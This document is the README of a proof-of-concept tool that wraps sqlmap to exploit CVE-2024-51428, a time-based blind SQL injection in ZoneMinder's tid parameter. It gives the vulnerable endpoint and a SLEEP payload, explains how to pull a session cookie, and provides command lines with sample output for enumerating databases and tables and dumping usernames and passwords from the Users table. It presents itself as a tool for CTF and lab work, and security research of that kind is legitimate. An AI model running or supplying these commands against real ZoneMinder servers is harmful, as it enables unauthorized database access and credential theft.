CVE-2024-51428 - ZoneMinder Blind SQL Injection PoC

Python wrapper for sqlmap designed to exploit CVE-2024-51428 in ZoneMinder.
This tool automates detection and exploitation of a Blind SQL Injection vulnerability while keeping the output clean and focused on useful data.

The script hides sqlmap logs and only displays relevant information such as:

• Detected injection point
• Database names
• Tables
• Dumped credentials or sensitive data

This makes the tool ideal for CTF environments, demonstrations, and security testing.

Vulnerability Overview

CVE: CVE-2024-51428
Type: Blind SQL Injection
Affected Software: ZoneMinder
Attack Vector: HTTP GET parameter
Parameter: tid

The vulnerability exists in the following endpoint:

/zm/index.php?view=request&request=event&action=removetag&tid=

The tid parameter is not properly sanitized before being used in a database query, allowing attackers to inject SQL queries.

The exploitation technique used is time-based blind SQL injection.

Example payload discovered by sqlmap:

tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)

This payload forces the database to sleep if the query is executed successfully, confirming the presence of SQL injection.

Features

• Automatic Blind SQL Injection detection
• Database enumeration
• Table enumeration
• Table dumping
• Column filtering
• Row filtering
• Clean output (sqlmap logs hidden)
• Designed for CTF and pentesting labs

Requirements

• Python 3
• sqlmap

Install sqlmap if needed:

sudo apt install sqlmap

Usage

Basic syntax:

python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'

With this command we check if it is vulnerable or not

Example:

python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'

Getting the Required Cookie

The exploit requires a valid ZoneMinder session cookie.

Steps:

1. Open the target in your browser
2. Open Developer Tools
3. Navigate to:

Application → Cookies

4. Locate the cookie named:

ZMSESSID

5. Copy its value and use it with -c

Example:

-c '151fvdqmjkhnkfat7l5epgmd22'

Checking if the Target is Vulnerable

python3 poc.py --url http://target.htb -c 'COOKIE'

Example output:

[*] Checking vulnerability...

Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))

[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION

Enumerating Databases

python3 poc.py --url http://target.htb -c 'COOKIE' -d

Example output:

available databases [3]:
information_schema
mysql
zm

Enumerating Tables

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm

Example output:

Database: zm

Users
Events
Monitors
Storage

Dumping a Table

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users

Dumping a Specific Column

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username

Example:

+----------+
| Username |
+----------+
| admin    |
| viewer   |
+----------+

Filtering Rows (WHERE clause)

You can filter rows using:

-ff <COLUMN> <VALUE>

Example:

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark

Equivalent SQL:

WHERE Username='mark'

Dumping Password for a Specific User

Example:

python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark

Internal sqlmap command:

sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump

How the Tool Works

The script acts as a wrapper around sqlmap.

Steps performed internally:

1. Build the vulnerable endpoint

/zm/index.php?view=request&request=event&action=removetag&tid=1

2. Pass the authentication cookie to sqlmap
3. Execute sqlmap with optimized options:

--threads=10
--technique=T
--batch

4. Parse sqlmap output in real time
5. Filter out logs and display only:

• injection information
• databases
• tables
• dumped data

Intended Use

This tool was created for:

• Capture The Flag challenges
• Security research
• Educational purposes
• Pentesting labs
